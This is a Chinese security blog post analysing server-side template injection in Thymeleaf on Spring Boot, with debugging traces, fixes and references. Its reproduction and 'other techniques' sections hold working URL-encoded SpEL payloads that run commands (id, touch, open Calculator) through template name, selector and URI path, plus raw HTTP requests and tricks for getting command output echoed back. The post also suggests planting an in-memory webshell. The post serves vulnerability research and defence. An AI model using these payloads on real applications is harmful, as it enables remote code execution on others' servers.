Java安全之Thymeleaf SSTI分析
Java安全之Thymeleaf SSTI分析
写在前面
文章首发:https://www.anquanke.com/post/id/254519
最近看了一遍Thymeleaf,借此机会学习一下Thymeleaf的SSTI,调试的过程中发现了很多有意思的点,也学习到了一些payload的构造姿势,简单码个文章记录一下。
About Thymeleaf
Thymeleaf是SpringBoot中的一个模版引擎,个人认为有点类似于Python中的Jinja2,负责渲染前端页面。
之前写JavaWeb和SSM的时候,前端页面可能会用JSP写,但是因为之前项目都是war包部署,而SpringBoot都是jar包且内嵌tomcat,所以是不支持解析jsp文件的。但是如果是编写纯静态的html就很不方便,那么这时候就需要一个模版引擎类似于Jinja2可以通过表达式帮我们把动态的变量渲染到前端页面,我们只需要写一个template即可。这也就是到了SpringBoot为什么官方推荐要使用Thymeleaf处理前端页面了。
基础知识
片段表达式
Thymeleaf中的表达式有好几种
- 变量表达式:
${...} - 选择变量表达式:
*{...} - 消息表达:
#{...} - 链接 URL 表达式:
@{...} - 片段表达式:
~{...}
而这次遇到的是片段表达式(FragmentExpression): ~{...},片段表达式可以用于引用公共的目标片段比如footer或者header
比如在/WEB-INF/templates/footer.html定义一个片段,名为copy。<div th:fragment="copy">
<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<body>
<div th:fragment="copy">
© 2011 The Good Thymes Virtual Grocery
</div>
</body>
</html>
在另一template中引用该片段<div th:insert="~{footer :: copy}"></div>
<body>
...
<div th:insert="~{footer :: copy}"></div>
</body>
片段表达式语法:
- ~{templatename::selector},会在
/WEB-INF/templates/目录下寻找名为templatename的模版中定义的fragment,如上面的~{footer :: copy} - ~{templatename},引用整个
templatename模版文件作为fragment - ~{::selector} 或 ~{this::selector},引用来自同一模版文件名为
selector的fragmnt
其中selector可以是通过th:fragment定义的片段,也可以是类选择器、ID选择器等。
当~{}片段表达式中出现::,则::后需要有值,也就是selector。
预处理
语法:__${expression}__
官方文档对其的解释:
除了所有这些用于表达式处理的功能外,Thymeleaf 还具有预处理表达式的功能。
预处理是在正常表达式之前完成的表达式的执行,允许修改最终将执行的表达式。
预处理的表达式与普通表达式完全一样,但被双下划线符号(如
__${expression}__)包围。
个人感觉这是出现SSTI最关键的一个地方,预处理也可以解析执行表达式,也就是说找到一个可以控制预处理表达式的地方,让其解析执行我们的payload即可达到任意代码执行
调试分析
前面也提到了是DispatcherServlet拦截请求并分发到Handler处理,那下断点直接定位到DispatcherServlet#doDispatch方法(所有的request和response都会经过该方法)。

首先获取到了Handler,之后进入doDispatch方法的实现,这里重点注意下下面3个方法
1、ha.handle() ,获取ModelAndView也就是Controller中的return值
2、applyDefaultViewName(),对当前ModelAndView做判断,如果为null则进入defalutViewName部分处理,将URI path作为mav的值
3、processDispatchResult(),处理视图并解析执行表达式以及抛出异常回显部分处理

ha.handle
首先跟进mv = ha.handle(processedRequest, response, mappedHandler.getHandler());
/org/springframework/web/servlet/mvc/method/AbstractHandlerMethodAdapter.class#handleInternal,继续跟进

跳到invokeHandlerMethod方法。这里就是使用Handler处理request并获取ModelAndView了,继续跟进

在/org/springframework/web/servlet/mvc/method/annotation/RequestMappingHandlerAdapter.class直接跟进到invokeAndHandle方法

这里通过invokeForRequest函数,根据用户输入的url,调用相关的controller,并将其返回值returnValue,作为待查找的模板文件名,通过Thymeleaf模板引擎去查找,并返回给用户。
重点是returnValue值是否为null,根据Controller写法不同会导致returnValue的值存在null和非null的情况。

上面Controller中return的字符串并根据前缀和后缀拼接起来,在templates目录下寻找模版文件
例如下面的Thymeleaf默认配置类文件+Controller,Thymeleaf就会去找/templates/index.html
默认配置类文件org/springframework/boot/autoconfigure/thymeleaf/ThymeleafProperties.java
@ConfigurationProperties(prefix = "spring.thymeleaf")
public class ThymeleafProperties {
private static final Charset DEFAULT_ENCODING = StandardCharsets.UTF_8;
public static final String DEFAULT_PREFIX = "classpath:/templates/";
public static final String DEFAULT_SUFFIX = ".html";
/**
* Whether to check that the template exists before rendering it.
*/
private boolean checkTemplate = true;
/**
* Whether to check that the templates location exists.
*/
private boolean checkTemplateLocation = true;
/**
* Prefix that gets prepended to view names when building a URL.
*/
private String prefix = DEFAULT_PREFIX;
/**
* Suffix that gets appended to view names when building a URL.
*/
private String suffix = DEFAULT_SUFFIX;
/**
* Template mode to be applied to templates. See also Thymeleaf's TemplateMode enum.
*/
private String mode = "HTML";
/**
* Template files encoding.
*/
private Charset encoding = DEFAULT_ENCODING;
Controller
@Controller
public class IndexController {
@RequestMapping("/index")
public String test1(Model model){
model.addAttribute("msg","Hello,Thymeleaf");
return "index";
}
}
上面这种是returnValue不为null的情况。那如果Controller如下写的话,returnValue的值就会为null
@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
log.info("Retrieving " + document);
//returns void, so view name is taken from URI
}
applyDefaultViewName
如果ModelAndView值不为null则什么也不做,否则如果defaultViewName存在值则会给ModelAndView赋值为defaultViewName,也就是将URI path作为视图名称(具体逻辑会在后面讲)

processDispatchResult
获取到ModelAndView值后会进入到processDispatchResult方法,第1个if会被跳过,跟进第2个if中的render方法

在render方法中,首先会获取mv对象的viewName,然后调用resolveViewName方法,resolveViewName方法最终会获取最匹配的视图解析器。

跟一下resolveViewName方法,这里涉及到两个方法:1、首先通过getCandidateViews筛选出resolveViewName方法返回值不为null的视图解析器添加到candidateViews中; 2、之后通过getBestView拿到最适配的解析器,getBestView中的逻辑是优先返回在candidateViews存在重定向动作的view,如果都不存在则根据请求头中的Accept字段的值与candidateViews的相关顺序,并判断是否兼容来返回最适配的View

getCandidateViews:

getBestView:

最终返回的是ThymeleafView之后ThymeleafView调用了render方法,继续跟进

调用renderFragment

这里是漏洞触发的关键点之一,该方法在后面首先判断viewTemplateName是否包含::,若包含则获取解析器,调用parseExpression方法将viewTemplateName(也就是Controller中最后return的值)构造成片段表达式(~{})并解析执行,跟进parseExpression方法。

在org/thymeleaf/standard/expression/StandardExpressionParser.class中继续调用parseExpression

最终在org/thymeleaf/standard/expression/StandardExpressionParser对我们表达式进行解析,首先在preprocess方法对表达式进行预处理(这里只要表达式正确就已经执行了我们payload中的命令)并把结果存入preprocessedInput,可以看到此时预处理就已经执行了命令,之后再次调用parse对预处理的结果preprocessedInput进行第二次解析,而第二次解析时,需要语法正确也就是在Thymeleaf中,~{}中::需要有值才可以获得回显,否则没有回显。

在org/thymeleaf/standard/expression/StandardExpressionPreprocessor#preprocess方法中,首先通过正则,将__xxxx__中间xxxx部分提取出来,调用execute执行

跟进execute最终调用org/thymeleaf/standard/expression/VariableExpression#executeVariableExpression使用SpEL执行表达式,触发任意代码执行。

漏洞复现
首先常见的一个payload就是lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::.x,通过__${}__::.x构造表达式会由Thymeleaf去执行
0x01 templatename
Payload:lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::.x,这里因为最后return的值为user/__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x/welcome,无论我们payload如何构造最后都会拼接/welcome所以即使不加.x依然可以触发命令执行
@GetMapping("/path")
public String path(@RequestParam String lang) {
return "user/" + lang + "/welcome"; //template path is tainted
}

0x02 selector
Contorller :可控点变为了selector位置
@GetMapping("/fragment")
public String fragment(@RequestParam String section) {
return "welcome :: " + section; //fragment is tainted
}
payload
/fragment?section=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22touch%20executed%22).getInputStream()).next()%7d__::.x


其实这里也可以不需要.x和::也可触发命令执行
poc:
/fragment?section=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("open%20-a%20Calculator").getInputStream()).next()%7d__

关于回显问题:在0x01与0x02payload注入点不同会导致有无回显,也可以说是controller代码给予我们的可控参数不同,
0x01中可控的是templatename,而0x02中可控的是selector,而这两个地方的注入在最后抛出异常的时候找不到templatename是存在结果回显的而找不到selector不存在结果回显。

0x03 URI path
Controller
@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
log.info("Retrieving " + document);
//returns void, so view name is taken from URI
}
payload
因为mav返回值为空,所以viewTemplateName会从uri中获取,直接在{document}位置传入payload即可
http://localhost:8090/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator%22).getInputStream()).next()%7d__::.x


0x03 构造回显
这里其实和0x01类似,templatename部分可控,没回显的原因在于defaultView中对URI path的处理,我们可以在最后加两个.
poc
/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::..需要注意的是::必须放在后面,放在前面虽然可以执行命令,但是没有回显。

About .x
在0x03中payload最后是必须要.x,看一下为什么,之前在applyDefaultViewName部分有提到defaultViewName这个值,因为mav返回值为空,所以viewTemplateName会从uri中获取,我们看下是如何处理defaultViewName的,调试之后发现在getViewName方法中调用transformPath对URL中的path进行了处理

重点在于第3个if中stripFilenameExtension方法

/org/springframework/util/StringUtils#stripFilenameExtension该方法会对后缀做一个清除

如果我们传入的payload没有.x的话,例如http://localhost:8090/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator%22).getInputStream()).next()%7d__::最后会被处理成/doc/__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("open -a calculator").getInputStream())从而没有了::无法进入预处理导致无法执行任意代码。
所以这里即使是在最后只加个.也是可以的,不一定必须是.x


其他姿势
这里列举几个比较新奇的思路,反射之类的就不列举了,改一下表达式中的代码即可。
0x01 :: 位置
除了上面利用.替换.x以外(ModelAndView为null,从URI中获取viewname)在0x01中::的位置也不是固定的,这个看之前的代码逻辑即可知晓,比如可以替换成下面的poc,将::放在最前面:
::__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator%22).getInputStream()).next()%7d__

0x02 POST方式
这个是在turn1tup师傅的文章中get的
POST /path HTTP/1.1
Host: localhost:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 135
lang=::__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator%22).getInputStream()).next()%7d__

0x03 省略__
当Controller如下配置时,可以省略__包裹
@RequestMapping("/path")
public String path2(@RequestParam String lang) {
return lang; //template path is tainted
}
poc,也不局限于用${},用*{}也是可以的
GET /path2?lang=$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator%22).getInputStream()).next()%7d::.x HTTP/1.1
Host: localhost:8090

关于这种方式可以参考:https://xz.aliyun.com/t/9826#toc-4
修复方案
0x01 配置 @ResponseBody 或者 @RestController
这样 spring 框架就不会将其解析为视图名,而是直接返回, 不再调用模板解析。
@GetMapping("/safe/fragment")
@ResponseBody
public String safeFragment(@RequestParam String section) {
return "welcome :: " + section; //FP, as @ResponseBody annotation tells Spring to process the return values as body, instead of view name
}
0x02 在返回值前面加上 "redirect:"
这样不再由 Spring ThymeleafView来进行解析,而是由 RedirectView 来进行解析。
@GetMapping("/safe/redirect")
public String redirect(@RequestParam String url) {
return "redirect:" + url; //FP as redirects are not resolved as expressions
}
0x03 在方法参数中加上 HttpServletResponse 参数
由于controller的参数被设置为HttpServletResponse,Spring认为它已经处理了HTTP Response,因此不会发生视图名称解析。
@GetMapping("/safe/doc/{document}")
public void getDocument(@PathVariable String document, HttpServletResponse response) {
log.info("Retrieving " + document); //FP
}
结语
关于这个漏洞的话调试下来感觉很巧妙,有很多值得深入挖掘的点,但是个人感觉Thymeleaf平常更多的使用姿势还是在于将变量渲染到前端页面而不是类似于输入模版名称去动态返回模版文件,可能实战遇到的并不会很多吧。再有就是在审计的时候有没有一些可以快速定位到该缺陷的方法,待研究。如果真的遇到了,也没必要过于纠结回显,可以直接打内存马。
Reference
https://turn1tup.github.io/2021/08/10/spring-boot-thymeleaf-ssti/
https://xz.aliyun.com/t/9826#toc-4
http://x2y.pw/2020/11/15/Thymeleaf-模板漏洞分析/
https://github.com/veracode-research/spring-view-manipulation/
https://www.cnblogs.com/fishpro/p/spring-boot-study-restcontroller.html
https://paper.seebug.org/1332/
https://www.freebuf.com/articles/network/250026.html

Java安全之Thymeleaf SSTI分析的更多相关文章
- 原子类java.util.concurrent.atomic.*原理分析
原子类java.util.concurrent.atomic.*原理分析 在并发编程下,原子操作类的应用可以说是无处不在的.为解决线程安全的读写提供了很大的便利. 原子类保证原子的两个关键的点就是:可 ...
- JAVA常用数据结构及原理分析
JAVA常用数据结构及原理分析 http://www.2cto.com/kf/201506/412305.html 前不久面试官让我说一下怎么理解java数据结构框架,之前也看过部分源码,balaba ...
- Java虚拟机类加载机制——案例分析
转载: Java虚拟机类加载机制--案例分析 在<Java虚拟机类加载机制>一文中详细阐述了类加载的过程,并举了几个例子进行了简要分析,在文章的最后留了一个悬念给各位,这里来揭开这个悬 ...
- Java NIO使用及原理分析 (四)
在上一篇文章中介绍了关于缓冲区的一些细节内容,现在终于可以进入NIO中最有意思的部分非阻塞I/O.通常在进行同步I/O操作时,如果读取数据,代码会阻塞直至有 可供读取的数据.同样,写入调用将会阻塞直至 ...
- Java split方法源码分析
Java split方法源码分析 public String[] split(CharSequence input [, int limit]) { int index = 0; // 指针 bool ...
- java fork-join框架应用和分析
http://shmilyaw-hotmail-com.iteye.com/blog/1897636 java fork-join框架应用和分析 博客分类: concurrency multithre ...
- JAVA WEB 中的编码分析
JAVA WEB 中的编码分析 */--> pre.src {background-color: #292b2e; color: #b2b2b2;} pre.src {background-co ...
- JAVA GC垃圾收集器的分析
本篇文章主要介绍了"JAVA GC垃圾收集器的分析",主要涉及到JAVA GC垃圾收集器的分析方面的内容,对于JAVA GC垃圾收集器的分析感兴趣的同学可以参考一下. ...
- Java的LockSupport.park()实现分析(转载)
LockSupport类是Java6(JSR166-JUC)引入的一个类,提供了基本的线程同步原语.LockSupport实际上是调用了Unsafe类里的函数,归结到Unsafe里,只有两个函数: p ...
随机推荐
- Java基础系列(16)- Scanner进阶使用
了解更多的sanner方法 Ctrl+鼠标左键,点击[Scanner] 点击Structure 看到了Scanner类下面的所有方法,以及具体方法实现的底层封装逻辑 拓展例子_nextInt()获取和 ...
- MNIST手写数字识别:卷积神经网络
代码 import torch from torchvision import datasets from torch.utils.data import DataLoader import torc ...
- 🧚♂️全套Java教程_Java基础入门教程,零基础小白自学Java必备教程👨💻004 # 第四单元 流程控制语句上 #
一.本单元知识点概述 二.本单元目标 (Ⅰ)重点知识目标 1.if语句的格式及执行流程2.switch语句的格式及执行流程 (Ⅱ)能力目标 1.掌握if语句的格式及执行流程2.掌握switch语句的格 ...
- c++ 的学习 第二集函数的重载2 namemangling
1. 本质 采用了name mangling或者叫name decoration ✓ C++编译器默认会对符号名(比如函数名)进行改编.修饰,有些地方翻译为"命名倾轧"✓ 重载时 ...
- 自从学会了Python自动化Pytest框架,领导再也不敢在我背后指手划脚了
前言 大家都知道Python有自带的单元测试框架unittest,那为什么还要学习Pytest呢?先了解下Pytest优点 pytest: pytest是一个非常成熟的全功能的Python测试框架,是 ...
- Git提交时默认编辑器Vim换成Notepad++
在使用GIT进行commit时,会默认使用Vim,其使用较为笨重,改为Notepad++编辑器较为简便. git commit 默认打开Notepad++编辑器配置: 打开git --- bash,输 ...
- Java 使用 Socket 实现客户端和服务器的信息交互
服务器 public class Server{ private ServerSocket serverSocket; private Socket socket; private BufferedR ...
- windows下编译caffe出现错误 C4996: 'std::_Copy_impl': Function call with parameters that may be unsafe?
解决方案来自http://blog.csdn.net/u012556077/article/details/50353818
- 基于linux在线预览
1.Libreoffice安装 在服务器上安装Libreoffice,在这里就不多说了, import os import sys import subprocess import re def co ...
- java语言程序设计与数据结构(基础篇)第二章答案
答案为本人自己求解,若有错误,还望海涵并及时告知.如有雷同,纯属巧合. 2.1 import java.util.Scanner; public class Welcome { public stat ...